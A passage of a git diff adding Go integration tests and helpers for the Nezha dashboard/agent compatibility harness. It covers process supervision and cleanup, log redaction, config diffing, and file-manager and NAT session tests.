newHelperSupervisor(t.Context(), "listener", []string{helperFDEnv + "=3"}) + supervisor.spec.ExtraFiles = []*os.File{inheritedFile} + + // When + requireNoError(t, supervisor.Start()) + requireNoError(t, supervisor.WaitReady(t.Context())) + sample, err := SampleProcess(supervisor.PID()) + requireNoError(t, err) + + // Then + if sample.TCPListenerCount != 1 { + t.Fatalf("TCP listeners = %d, want 1", sample.TCPListenerCount) + } + requireNoError(t, supervisor.Stop(t.Context())) + requirePIDGone(t, supervisor.PID()) +} + +func TestSupervisor_RedactsLogs(t *testing.T) { + // Given + var output bytes.Buffer + supervisor := newHelperSupervisor(t.Context(), "logs", nil) + supervisor.spec.MaxLogBytes = 128 + supervisor.spec.Stdout = &output + supervisor.spec.Stderr = &output + + // When + requireNoError(t, supervisor.Start()) + requireNoError(t, supervisor.WaitReady(t.Context())) + requireNoError(t, supervisor.Wait(t.Context())) + + // Then + logged := output.String() + if strings.Contains(logged, "top-secret") || strings.Contains(logged, "eyJsecret") { + t.Fatalf("secret survived supervisor log redaction: %s", logged) + } + if output.Len() > supervisor.spec.MaxLogBytes*2 { + t.Fatalf("combined log bytes = %d, per-stream limit = %d", output.Len(), supervisor.spec.MaxLogBytes) + } + if !strings.Contains(logged, truncationMarker) { + t.Fatalf("truncation marker missing: %q", logged) + } +} + +func TestSupervisor_RecordsForcedCleanupForSIGTERMIgnoringChild(t *testing.T) { + // Given + resultsDir := t.TempDir() + marker := filepath.Join(t.TempDir(), "forced-grandchild.pid") + supervisor := newHelperSupervisor(t.Context(), "force-tree", []string{helperMarkerEnv + "=" + marker}) + requireNoError(t, supervisor.Start()) + requireNoError(t, supervisor.WaitReady(t.Context())) + grandchildPID := readPID(t, marker) + + // When + requireNoError(t, supervisor.Stop(t.Context())) + receipt := NewCleanupReceipt([]CleanupRecord{supervisor.CleanupRecord()}) + receiptPath := filepath.Join(resultsDir, "cleanup.json") + requireNoError(t, WriteCleanupReceipt(receiptPath, receipt)) + + // Then + if !supervisor.ForcedCleanup() { + t.Fatal("forced cleanup was not recorded") + } + data, err := os.ReadFile(receiptPath) + requireNoError(t, err) + if !strings.Contains(string(data), `"forced": true`) { + t.Fatalf("cleanup receipt = %s", data) + } + requirePIDGone(t, supervisor.PID()) + requirePIDGone(t, grandchildPID) +} + +func TestSupervisor_InterruptSignalCleansProcessTree(t *testing.T) { + // Given + marker := filepath.Join(t.TempDir(), "interrupt-grandchild.pid") + command := exec.Command(os.Args[0], "-test.run=^TestProcessHelper$") + command.Env = append(os.Environ(), helperModeEnv+"=interrupt-probe", helperMarkerEnv+"="+marker) + output, err := command.StdoutPipe() + requireNoError(t, err) + command.Stderr = os.Stderr + requireNoError(t, command.Start()) + scanner := bufio.NewScanner(output) + ready := false + for scanner.Scan() { + if scanner.Text() == "PROBE_READY" { + ready = true + break + } + } + requireNoError(t, scanner.Err()) + if !ready { + t.Fatal("interrupt probe exited before readiness") + } + leaderPID := readPID(t, marker+".leader") + grandchildPID := readPID(t, marker) + + // When + requireNoError(t, command.Process.Signal(syscall.SIGTERM)) + requireNoError(t, command.Wait()) + + // Then + requirePIDGone(t, leaderPID) + requirePIDGone(t, grandchildPID) +} diff --git a/integration/agentcompat/internal/scenario/config_file.go b/integration/agentcompat/internal/scenario/config_file.go new file mode 100644 index 00000000..98d2c21d --- /dev/null +++ b/integration/agentcompat/internal/scenario/config_file.go @@ -0,0 +1,27 @@ +//go:build linux + +package scenario + +import ( + "os" + "path/filepath" + + "sigs.k8s.io/yaml" +) + +func ReadConfigFile(path string) (AgentConfig, error) { + root, err := os.OpenRoot(filepath.Dir(path)) + if err != nil { + return AgentConfig{}, err + } + defer root.Close() + data, err := root.ReadFile(filepath.Base(path)) + if err != nil { + return AgentConfig{}, err + } + var config AgentConfig + if err := yaml.Unmarshal(data, &config); err != nil { + return AgentConfig{}, err + } + return config, nil +} diff --git a/integration/agentcompat/internal/scenario/foundation.go b/integration/agentcompat/internal/scenario/foundation.go new file mode 100644 index 00000000..bd6b9508 --- /dev/null +++ b/integration/agentcompat/internal/scenario/foundation.go @@ -0,0 +1,101 @@ +//go:build linux + +package scenario + +import ( + "context" + "encoding/json" + "errors" + "reflect" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +var ErrConfigIdentityChanged = errors.New("scenario: config identity changed") + +type AgentConfigSnapshot struct { + Debug bool + ReportDelay uint32 + ClientSecret string + UUID string + Server string +} + +type AgentConfig struct { + Debug bool `json:"debug" yaml:"debug"` + Server string `json:"server" yaml:"server"` + ClientSecret string `json:"client_secret" yaml:"client_secret"` + UUID string `json:"uuid" yaml:"uuid"` + ReportDelay uint32 `json:"report_delay" yaml:"report_delay"` + TLS bool `json:"tls" yaml:"tls"` + InsecureTLS bool `json:"insecure_tls" yaml:"insecure_tls"` +} + +type ConfigDiffResult struct { + DebugChanged bool + ReportDelayChanged bool +} + +func ConfigDiff(original, updated AgentConfigSnapshot) (ConfigDiffResult, error) { + if original.ClientSecret != updated.ClientSecret || original.UUID != updated.UUID || original.Server != updated.Server { + return ConfigDiffResult{}, ErrConfigIdentityChanged + } + return ConfigDiffResult{DebugChanged: original.Debug != updated.Debug, ReportDelayChanged: original.ReportDelay != updated.ReportDelay}, nil +} + +type Assertion struct { + Name string `json:"name"` + Passed bool `json:"passed"` + Details string `json:"details,omitempty"` +} + +type Result struct { + Name string `json:"name"` + Passed bool `json:"passed"` + Assertions []Assertion `json:"assertions"` + CleanupOK bool `json:"cleanup_ok"` + Error string `json:"error,omitempty"` +} + +type AssertionSet struct { + assertions []Assertion +} + +func NewAssertionSet() *AssertionSet { return &AssertionSet{} } + +func (set *AssertionSet) Record(name string, passed bool, details string) { + set.assertions = append(set.assertions, Assertion{Name: name, Passed: passed, Details: evidence.Redact(details)}) +} + +func (set *AssertionSet) Results() []Assertion { + return append([]Assertion(nil), set.assertions...) +} + +func (set *AssertionSet) Run(run func(*AssertionSet) error) error { return run(set) } + +func configSnapshot(config AgentConfig) AgentConfigSnapshot { + return AgentConfigSnapshot{Debug: config.Debug, ReportDelay: config.ReportDelay, ClientSecret: config.ClientSecret, UUID: config.UUID, Server: config.Server} +} + +func changedOnlyDebugAndReportDelay(original, updated AgentConfig) error { + before := original + after := updated + before.Debug = after.Debug + before.ReportDelay = after.ReportDelay + if !reflect.DeepEqual(before, after) { + return errors.New("config update changed fields other than debug and report_delay") + } + return nil +} + +func decodeAgentConfig(raw string) (AgentConfig, error) { + var config AgentConfig + if err := json.Unmarshal([]byte(raw), &config); err != nil { + return AgentConfig{}, err + } + return config, nil +} + +type Context struct { + Context context.Context +} diff --git a/integration/agentcompat/internal/scenario/held_cleanup.go b/integration/agentcompat/internal/scenario/held_cleanup.go new file mode 100644 index 00000000..5dc06c52 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_cleanup.go @@ -0,0 +1,75 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "sync" +) + +var ( + ErrInvalidHeldCleanupAction = errors.New("held cleanup action is invalid") + ErrHeldCleanupClosed = errors.New("held cleanup stack is closed") +) + +type heldCleanupAction struct { + name string + cleanup func(context.Context) error +} + +type heldCleanupStackState uint8 + +const ( + heldCleanupOpen heldCleanupStackState = iota + heldCleanupRunning + heldCleanupClosed +) + +type heldCleanupStack struct { + mu sync.Mutex + state heldCleanupStackState + actions []heldCleanupAction +} + +func newHeldCleanupStack() *heldCleanupStack { + return &heldCleanupStack{state: heldCleanupOpen} +} + +func (stack *heldCleanupStack) Push(action heldCleanupAction) error { + if action.name == "" || action.cleanup == nil { + return ErrInvalidHeldCleanupAction + } + stack.mu.Lock() + defer stack.mu.Unlock() + if stack.state != heldCleanupOpen { + return ErrHeldCleanupClosed + } + stack.actions = append(stack.actions, action) + return nil +} + +func (stack *heldCleanupStack) Run(ctx context.Context) error { + stack.mu.Lock() + if stack.state != heldCleanupOpen { + stack.mu.Unlock() + return ErrHeldCleanupClosed + } + stack.state = heldCleanupRunning + actions := append([]heldCleanupAction(nil), stack.actions...) + stack.mu.Unlock() + + var joined error + for index := len(actions) - 1; index >= 0; index-- { + action := actions[index] + if err := action.cleanup(ctx); err != nil { + joined = errors.Join(joined, fmt.Errorf("cleanup %s: %w", action.name, err)) + } + } + + stack.mu.Lock() + stack.state = heldCleanupClosed + stack.mu.Unlock() + return joined +} diff --git a/integration/agentcompat/internal/scenario/held_cleanup_test.go b/integration/agentcompat/internal/scenario/held_cleanup_test.go new file mode 100644 index 00000000..3ef26e90 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_cleanup_test.go @@ -0,0 +1,175 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "reflect" + "strings" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestHeldCleanupStackRunsActionsInReverseOrderAndJoinsErrors(t *testing.T) { + stack := newHeldCleanupStack() + var order []string + firstErr := errors.New("first cleanup failure") + secondErr := errors.New("second cleanup failure") + for _, action := range []heldCleanupAction{ + {name: "first", cleanup: func(context.Context) error { + order = append(order, "first") + return firstErr + }}, + {name: "second", cleanup: func(context.Context) error { + order = append(order, "second") + return secondErr + }}, + } { + if err := stack.Push(action); err != nil { + t.Fatal(err) + } + } + err := stack.Run(context.Background()) + if !errors.Is(err, firstErr) || !errors.Is(err, secondErr) || !strings.Contains(err.Error(), "first") || !strings.Contains(err.Error(), "second") { + t.Fatalf("joined cleanup error = %v", err) + } + if !reflect.DeepEqual(order, []string{"second", "first"}) { + t.Fatalf("cleanup order = %v", order) + } +} + +func TestHeldTerminalCleanupOrderCancelsBeforeWaitingForAbsence(t *testing.T) { + // Given + stack := newHeldCleanupStack() + var order []string + for _, action := range []heldCleanupAction{ + {name: "unregister", cleanup: func(context.Context) error { order = append(order, "unregister"); return nil }}, + {name: "absence", cleanup: func(context.Context) error { order = append(order, "absence"); return nil }}, + {name: "cancel", cleanup: func(context.Context) error { order = append(order, "cancel"); return nil }}, + {name: "close", cleanup: func(context.Context) error { order = append(order, "close"); return nil }}, + {name: "stop", cleanup: func(context.Context) error { order = append(order, "stop"); return nil }}, + {name: "await", cleanup: func(context.Context) error { order = append(order, "await"); return nil }}, + {name: "release", cleanup: func(context.Context) error { order = append(order, "release"); return nil }}, + } { + if err := stack.Push(action); err != nil { + t.Fatal(err) + } + } + + // When + require.NoError(t, stack.Run(context.Background())) + + // Then + require.Equal(t, []string{"release", "await", "stop", "close", "cancel", "absence", "unregister"}, order) +} + +func TestHeldFMCleanupOrderStopsTransportCancelsThenProvesAbsenceBeforeUnregister(t *testing.T) { + // Given + stack := newHeldCleanupStack() + var order []string + for _, action := range []heldCleanupAction{ + {name: "remove fixture", cleanup: func(context.Context) error { order = append(order, "fixture"); return nil }}, + {name: "unregister", cleanup: func(context.Context) error { order = append(order, "unregister"); return nil }}, + {name: "absence", cleanup: func(context.Context) error { order = append(order, "absence"); return nil }}, + {name: "cancel", cleanup: func(context.Context) error { order = append(order, "cancel"); return nil }}, + {name: "transport", cleanup: func(context.Context) error { order = append(order, "transport"); return nil }}, + } { + require.NoError(t, stack.Push(action)) + } + + // When + err := stack.Run(context.Background()) + + // Then + require.NoError(t, err) + require.Equal(t, []string{"transport", "cancel", "absence", "unregister", "fixture"}, order) +} + +func TestHeldCleanupStackRunsEveryActionAndJoinsAllErrors(t *testing.T) { + // Given + stack := newHeldCleanupStack() + firstErr := errors.New("first") + secondErr := errors.New("second") + thirdErr := errors.New("third") + for name, actionErr := range map[string]error{"first": firstErr, "second": secondErr, "third": thirdErr} { + require.NoError(t, stack.Push(heldCleanupAction{name: name, cleanup: func(context.Context) error { return actionErr }})) + } + + // When + err := stack.Run(context.Background()) + + // Then + require.ErrorIs(t, err, firstErr) + require.ErrorIs(t, err, secondErr) + require.ErrorIs(t, err, thirdErr) +} + +func TestHeldLegacyFMCapabilityCleanupWiringRunsAllActionsInContractOrder(t *testing.T) { + // Given + stack := newHeldCleanupStack() + var order []string + originalErr := errors.New("original") + absenceErr := errors.New("absence") + cleanup := heldLegacyFMCapabilityCleanup{ + Unregister: func(context.Context) error { order = append(order, "unregister"); return nil }, + Absence: func(context.Context) error { order = append(order, "absence"); return absenceErr }, + Cancel: func(context.Context) error { order = append(order, "cancel"); return originalErr }, + } + require.NoError(t, pushHeldLegacyFMCapabilityCleanup(stack, cleanup)) + + // When + err := errors.Join(originalErr, stack.Run(context.Background())) + + // Then + require.Equal(t, []string{"cancel", "absence", "unregister"}, order) + require.ErrorIs(t, err, originalErr) + require.ErrorIs(t, err, absenceErr) +} + +func TestHeldTerminalCleanupGraceTimeoutLeavesFallbackBudget(t *testing.T) { + stack := newHeldCleanupStack() + graceReturned := make(chan struct{}) + fallbackRan := make(chan struct{}) + capabilityCleanupRan := make(chan struct{}) + + require.NoError(t, stack.Push(heldCleanupAction{name: "capability cleanup", cleanup: func(context.Context) error { + close(capabilityCleanupRan) + return nil + }})) + require.NoError(t, stack.Push(heldCleanupAction{name: "fallback", cleanup: func(context.Context) error { + close(fallbackRan) + return nil + }})) + require.NoError(t, stack.Push(heldCleanupAction{name: "graceful wait", cleanup: func(ctx context.Context) error { + <-ctx.Done() + close(graceReturned) + return ctx.Err() + }})) + + cleanupContext, cancel := context.WithTimeout(context.Background(), 2*heldTerminalGracePeriod) + defer cancel() + err := stack.Run(cleanupContext) + + require.ErrorIs(t, err, context.DeadlineExceeded) + <-graceReturned + <-fallbackRan + <-capabilityCleanupRan +} + +func TestHeldCleanupStackRejectsInvalidAndLateActions(t *testing.T) { + stack := newHeldCleanupStack() + if err := stack.Push(heldCleanupAction{}); !errors.Is(err, ErrInvalidHeldCleanupAction) { + t.Fatalf("invalid push error = %v", err) + } + if err := stack.Run(context.Background()); err != nil { + t.Fatal(err) + } + if err := stack.Push(heldCleanupAction{name: "late", cleanup: func(context.Context) error { return nil }}); !errors.Is(err, ErrHeldCleanupClosed) { + t.Fatalf("late push error = %v", err) + } + if err := stack.Run(context.Background()); !errors.Is(err, ErrHeldCleanupClosed) { + t.Fatalf("second Run error = %v", err) + } +} diff --git a/integration/agentcompat/internal/scenario/held_fm_nat_real_test.go b/integration/agentcompat/internal/scenario/held_fm_nat_real_test.go new file mode 100644 index 00000000..084f9429 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_fm_nat_real_test.go @@ -0,0 +1,217 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "errors" + "fmt" + "net/http" + "os" + "path/filepath" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +type heldRealNATProfile struct { + ID uint64 `json:"id"` +} + +type heldRealFixture struct { + dashboard *dashboard.Dashboard + agent *agent.Agent + dashboardPID int + agentPID int + closed bool +} + +func (fixture *heldRealFixture) Close(ctx context.Context, sessionClosed, exactStreamGone, ownedResourceGone bool) (heldRealCleanup, error) { + if fixture.closed { + return heldRealCleanup{}, nil + } + fixture.closed = true + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 30*time.Second) + defer cancel() + agentErr := fixture.agent.Stop(cleanupContext) + dashboardErr := fixture.dashboard.Stop(cleanupContext) + cleanup := heldRealCleanup{Agent: fixture.agent.CleanupReceipt(), Dashboard: fixture.dashboard.CleanupReceipt(), SessionClosed: sessionClosed, ExactStreamGone: exactStreamGone, OwnedResourceGone: ownedResourceGone, AgentPIDGone: heldRealPIDGone(fixture.agentPID), DashboardPIDGone: heldRealPIDGone(fixture.dashboardPID)} + return cleanup, errors.Join(agentErr, dashboardErr) +} + +func requireHeldRealSources(t *testing.T) { + t.Helper() + if os.Getenv("AGENTCOMPAT_NEZHA_SOURCE") == "" || os.Getenv("AGENTCOMPAT_AGENT_SOURCE") == "" { + t.Skip("set AGENTCOMPAT_NEZHA_SOURCE and AGENTCOMPAT_AGENT_SOURCE") + } +} + +func TestHeldLegacyFMSessionUsesExistingDashboardAndAgent(t *testing.T) { + // Given + requireHeldRealSources(t) + paths, err := contract.NewPaths(os.Getenv("AGENTCOMPAT_NEZHA_SOURCE"), os.Getenv("AGENTCOMPAT_AGENT_SOURCE"), t.TempDir()) + require.NoError(t, err) + ctx, cancel := context.WithTimeout(t.Context(), 10*time.Minute) + defer cancel() + realFixture, readiness, patClient := startHeldRealFixture(t, ctx, paths, "00000000-0000-0000-0000-000000000118", "held-fm") + dashboardInstance, agentInstance := realFixture.dashboard, realFixture.agent + t.Cleanup(func() { _, _ = realFixture.Close(context.Background(), false, false, false) }) + plan := heldFMTestPlan(t, StressSessionFM) + plan.ID, err = NewStressSessionID(fmt.Sprintf("held-fm-real-%d", time.Now().UnixNano())) + require.NoError(t, err) + baseline, err := patClient.IOStreamState(ctx) + require.NoError(t, err) + dashboardPID, agentPID := dashboardInstance.PID(), agentInstance.PID() + + // When + sessionCtx, sessionCancel := context.WithTimeout(ctx, 45*time.Second) + defer sessionCancel() + session, err := newHeldLegacyFMSession(sessionCtx, heldLegacyFMInput{Dashboard: dashboardInstance, PATClient: patClient, Agent: agentInstance, Readiness: readiness, Plan: plan}) + require.NoError(t, err) + require.NoError(t, session.WaitLive(ctx)) + require.True(t, session.ProtocolProved()) + streamID, present := session.IOStreamID() + require.True(t, present) + fixtureRoot := filepath.Join(agentInstance.WorkspaceRoot(), "held-fm-"+heldLegacyFMRootName.ReplaceAllString(plan.ID.String(), "-")) + _, err = os.Stat(fixtureRoot) + require.NoError(t, err) + live, err := patClient.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count + 1), PresentStreamID: streamID}) + require.NoError(t, err) + require.Equal(t, baseline.Count+1, live.Count) + require.Equal(t, dashboardPID, dashboardInstance.PID()) + require.Equal(t, agentPID, agentInstance.PID()) + dashboardPIDUnchanged := dashboardPID == dashboardInstance.PID() + agentPIDUnchanged := agentPID == agentInstance.PID() + + // Then + require.NoError(t, session.Close(ctx)) + require.NoError(t, session.WaitClosed(ctx)) + closed, err := patClient.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count), AbsentStreamID: streamID}) + require.NoError(t, err) + require.Equal(t, baseline.Count, closed.Count) + require.NotEmpty(t, streamID) + require.Equal(t, dashboardPID, dashboardInstance.PID()) + require.Equal(t, agentPID, agentInstance.PID()) + require.NotZero(t, dashboardPID) + require.NotZero(t, agentPID) + _, err = os.Stat(fixtureRoot) + require.ErrorIs(t, err, os.ErrNotExist) + cleanup, cleanupErr := realFixture.Close(ctx, true, closed.Count == baseline.Count, errors.Is(err, os.ErrNotExist)) + require.NoError(t, cleanupErr) + require.True(t, heldRealCleanupOK(cleanup)) + require.NoError(t, writeHeldRealEvidence("file-manager", heldRealEvidence{Kind: "file-manager", BaselineCount: baseline.Count, LiveCount: live.Count, ClosedCount: closed.Count, ExactIDPresent: true, ExactIDAbsent: true, ProtocolProved: session.ProtocolProved(), DashboardPIDUnchanged: dashboardPIDUnchanged, AgentPIDUnchanged: agentPIDUnchanged, CleanupOK: heldRealCleanupOK(cleanup)})) +} + +func TestHeldNATSessionUsesExistingDashboardAndAgent(t *testing.T) { + // Given + requireHeldRealSources(t) + paths, err := contract.NewPaths(os.Getenv("AGENTCOMPAT_NEZHA_SOURCE"), os.Getenv("AGENTCOMPAT_AGENT_SOURCE"), t.TempDir()) + require.NoError(t, err) + ctx, cancel := context.WithTimeout(t.Context(), 10*time.Minute) + defer cancel() + realFixture, readiness, patClient := startHeldRealFixture(t, ctx, paths, "00000000-0000-0000-0000-000000000119", "held-nat") + dashboardInstance, agentInstance := realFixture.dashboard, realFixture.agent + t.Cleanup(func() { _, _ = realFixture.Close(context.Background(), false, false, false) }) + plan := heldNATTestPlan(t) + plan.ID, err = NewStressSessionID(fmt.Sprintf("held-nat-real-%d", time.Now().UnixNano())) + require.NoError(t, err) + baseline, err := patClient.IOStreamState(ctx) + require.NoError(t, err) + dashboardPID, agentPID := dashboardInstance.PID(), agentInstance.PID() + + // When + sessionCtx, sessionCancel := context.WithTimeout(ctx, 45*time.Second) + defer sessionCancel() + session, err := newHeldNATSession(sessionCtx, heldNATInput{Dashboard: dashboardInstance, PATClient: patClient, Agent: agentInstance, Readiness: readiness, Plan: plan}) + require.NoError(t, err) + require.NoError(t, session.WaitLive(ctx)) + require.True(t, session.ProtocolProved()) + present, err := heldRealNATProfilePresent(ctx, dashboardInstance.Clients().REST, session.profileID) + require.NoError(t, err) + require.True(t, present) + streamID, present := session.IOStreamID() + require.True(t, present) + live, err := patClient.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count + 1), PresentStreamID: streamID}) + require.NoError(t, err) + require.Equal(t, baseline.Count+1, live.Count) + require.Equal(t, dashboardPID, dashboardInstance.PID()) + require.Equal(t, agentPID, agentInstance.PID()) + dashboardPIDUnchanged := dashboardPID == dashboardInstance.PID() + agentPIDUnchanged := agentPID == agentInstance.PID() + require.Equal(t, http.MethodPatch, session.observed.Method) + require.Equal(t, "/held/"+plan.ID.String(), session.observed.Path) + domain, domainErr := heldNATDomain(plan.ID.String()) + require.NoError(t, domainErr) + require.Equal(t, domain, session.observed.Host) + require.Equal(t, plan.ID.String(), session.observed.HeaderValue) + require.Equal(t, "held-body-"+plan.ID.String(), string(session.observed.Body)) + require.False(t, session.observed.SensitiveHeadersPresent) + + // Then + require.NoError(t, session.Close(ctx)) + require.NoError(t, session.WaitClosed(ctx)) + closed, err := patClient.WaitForIOStreamState(ctx, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(baseline.Count), AbsentStreamID: streamID}) + require.NoError(t, err) + require.Equal(t, baseline.Count, closed.Count) + require.NotEmpty(t, streamID) + require.Equal(t, dashboardPID, dashboardInstance.PID()) + require.Equal(t, agentPID, agentInstance.PID()) + require.NotZero(t, dashboardPID) + require.NotZero(t, agentPID) + require.False(t, session.observed.SensitiveHeadersPresent) + present, err = heldRealNATProfilePresent(ctx, dashboardInstance.Clients().REST, session.profileID) + require.NoError(t, err) + require.False(t, present) + cleanup, cleanupErr := realFixture.Close(ctx, true, closed.Count == baseline.Count, !present) + require.NoError(t, cleanupErr) + require.True(t, heldRealCleanupOK(cleanup)) + require.NoError(t, writeHeldRealEvidence("nat", heldRealEvidence{Kind: "nat", BaselineCount: baseline.Count, LiveCount: live.Count, ClosedCount: closed.Count, ExactIDPresent: true, ExactIDAbsent: true, ProtocolProved: session.ProtocolProved(), SensitiveHeadersPresent: session.observed.SensitiveHeadersPresent, DashboardPIDUnchanged: dashboardPIDUnchanged, AgentPIDUnchanged: agentPIDUnchanged, CleanupOK: heldRealCleanupOK(cleanup)})) +} + +func heldRealNATProfilePresent(ctx context.Context, admin *client.Client, profileID uint64) (bool, error) { + return heldRealNATProfilePresentWithQuery(ctx, profileID, func(queryContext context.Context) ([]heldRealNATProfile, error) { + return client.DoREST[struct{}, []heldRealNATProfile](queryContext, admin, client.RESTRequest[struct{}]{Method: http.MethodGet, Path: "/api/v1/nat"}) + }) +} + +func heldRealNATProfilePresentWithQuery(ctx context.Context, profileID uint64, query func(context.Context) ([]heldRealNATProfile, error)) (bool, error) { + profiles, err := query(ctx) + if err != nil { + return false, err + } + for _, profile := range profiles { + if profile.ID == profileID { + return true, nil + } + } + return false, nil +} + +func startHeldRealFixture(t *testing.T, ctx context.Context, paths contract.Paths, uuid, name string) (*heldRealFixture, agent.Readiness, *client.Client) { + t.Helper() + dashboardInstance, err := dashboard.Start(ctx, dashboard.StartConfig{SourceDir: paths.NezhaSource().String(), ReceiptGate: true}) + require.NoError(t, err) + agentInstance, err := agent.Start(ctx, agent.AgentStartConfig{SourceDir: paths.AgentSource().String(), Endpoint: dashboardInstance.Endpoint(), Secret: dashboardInstance.AgentSecret(), UUID: uuid}) + require.NoError(t, err) + require.NoError(t, dashboardInstance.WaitForReceiptAccepted(ctx)) + require.NoError(t, dashboardInstance.ReleaseReceipt(ctx)) + readiness, err := agentInstance.WaitReady(ctx, dashboardInstance) + require.NoError(t, err) + patClient, err := createTerminalPATClient(ctx, dashboardInstance, name, []string{"nezha:*"}, []uint64{readiness.ServerID}) + require.NoError(t, err) + return &heldRealFixture{dashboard: dashboardInstance, agent: agentInstance, dashboardPID: dashboardInstance.PID(), agentPID: agentInstance.PID()}, readiness, patClient +} + +func heldRealPIDGone(pid int) bool { + if pid < 1 { + return false + } + _, err := os.Stat(filepath.Join("/proc", fmt.Sprint(pid))) + return errors.Is(err, os.ErrNotExist) +} diff --git a/integration/agentcompat/internal/scenario/held_io_stream_capability.go b/integration/agentcompat/internal/scenario/held_io_stream_capability.go new file mode 100644 index 00000000..6395d695 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_io_stream_capability.go @@ -0,0 +1,127 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "sync" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +type heldIOStreamCapabilityIdentity struct { + Purpose client.IOStreamCapabilityPurpose + ServerID uint64 + ResourceID uint64 +} + +type heldIOStreamCapability struct { + client client.IOStreamCapabilityClient + identity heldIOStreamCapabilityIdentity + access client.IOStreamCapabilityAccessRequest + streamID string + + mu sync.Mutex + waitOnce sync.Once + waitErr error + cancelOnce sync.Once + unregisterOnce sync.Once + cancelErr error + unregisterErr error +} + +func registerHeldIOStreamCapability(ctx context.Context, transport *client.Client, identity heldIOStreamCapabilityIdentity) (*heldIOStreamCapability, error) { + registered, err := transport.IOStreamCapabilities().Register(ctx, client.IOStreamCapabilityRegisterRequest{ + Purpose: identity.Purpose, ServerID: identity.ServerID, ResourceID: identity.ResourceID, + }) + if err != nil { + return nil, err + } + return &heldIOStreamCapability{ + client: transport.IOStreamCapabilities(), identity: identity, + access: client.IOStreamCapabilityAccessRequest{Capability: registered.Capability, Purpose: identity.Purpose, ServerID: identity.ServerID, ResourceID: identity.ResourceID}, + }, nil +} + +func (capability *heldIOStreamCapability) HeaderCapability() client.IOStreamCapability { + return capability.access.Capability +} + +func (capability *heldIOStreamCapability) Wait(ctx context.Context) (string, error) { + capability.waitOnce.Do(func() { + response, err := capability.client.Wait(ctx, client.IOStreamCapabilityWaitRequest(capability.access)) + if err != nil { + capability.waitErr = err + return + } + capability.streamID = response.StreamID.Value() + if capability.streamID == "" { + capability.waitErr = client.ErrIOStreamCapabilityUnavailable + } + }) + capability.mu.Lock() + defer capability.mu.Unlock() + if capability.waitErr != nil { + return "", capability.waitErr + } + streamID := capability.streamID + return streamID, nil +} + +func (capability *heldIOStreamCapability) Cancel(ctx context.Context) error { + capability.cancelOnce.Do(func() { + capability.mu.Lock() + defer capability.mu.Unlock() + capability.cancelErr = capability.client.Cancel(ctx, capability.access) + }) + capability.mu.Lock() + defer capability.mu.Unlock() + return capability.cancelErr +} + +func (capability *heldIOStreamCapability) Unregister(ctx context.Context) error { + capability.unregisterOnce.Do(func() { + capability.mu.Lock() + defer capability.mu.Unlock() + capability.unregisterErr = capability.client.Unregister(ctx, capability.access) + }) + capability.mu.Lock() + defer capability.mu.Unlock() + return capability.unregisterErr +} + +func (capability *heldIOStreamCapability) streamIDValue() string { + capability.mu.Lock() + defer capability.mu.Unlock() + return capability.streamID +} + +func (capability *heldIOStreamCapability) waitExpectation(ctx context.Context, stateClient *client.Client, _ client.IOStreamState, absent bool) error { + streamID := capability.streamIDValue() + // Adapter-local ownership must not couple to the shared global count during concurrent construction. + expectation := client.IOStreamStateExpectation{} + if absent { + if streamID != "" { + expectation.AbsentStreamID = streamID + } else { + if _, waitErr := capability.Wait(ctx); waitErr == nil { + streamID = capability.streamIDValue() + expectation.AbsentStreamID = streamID + } else if ctx.Err() != nil { + return ctx.Err() + } + } + } else { + if streamID == "" { + return errors.New("held capability stream ID is missing") + } + expectation.PresentStreamID = streamID + } + _, err := stateClient.WaitForIOStreamState(ctx, expectation) + return err +} + +func (capability *heldIOStreamCapability) WaitExpectation(ctx context.Context, stateClient *client.Client, baseline client.IOStreamState, absent bool) error { + return capability.waitExpectation(ctx, stateClient, baseline, absent) +} diff --git a/integration/agentcompat/internal/scenario/held_io_stream_capability_test.go b/integration/agentcompat/internal/scenario/held_io_stream_capability_test.go new file mode 100644 index 00000000..1571632c --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_io_stream_capability_test.go @@ -0,0 +1,50 @@ +//go:build linux + +package scenario + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +func TestHeldIOStreamCapabilityWaitExpectationScopesToOwnedStream(t *testing.T) { + tests := []struct { + name string + absent bool + presentID string + absentID string + }{ + {name: "live", presentID: "owned-stream"}, + {name: "cleanup", absent: true, absentID: "owned-stream"}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + var observed client.IOStreamStateExpectation + server := httptest.NewServer(http.HandlerFunc(func(response http.ResponseWriter, request *http.Request) { + require.NoError(t, json.NewDecoder(request.Body).Decode(&observed)) + response.Header().Set("Content-Type", "application/json") + _, err := response.Write([]byte(`{"success":true,"data":{"count":99,"generation":1}}`)) + require.NoError(t, err) + })) + defer server.Close() + + stateClient, err := client.New(client.Config{BaseURL: server.URL}) + require.NoError(t, err) + capability := &heldIOStreamCapability{streamID: "owned-stream"} + + err = capability.waitExpectation(context.Background(), stateClient, client.IOStreamState{Count: 7}, test.absent) + + require.NoError(t, err) + require.Nil(t, observed.ExpectedCount) + require.Equal(t, test.presentID, observed.PresentStreamID) + require.Equal(t, test.absentID, 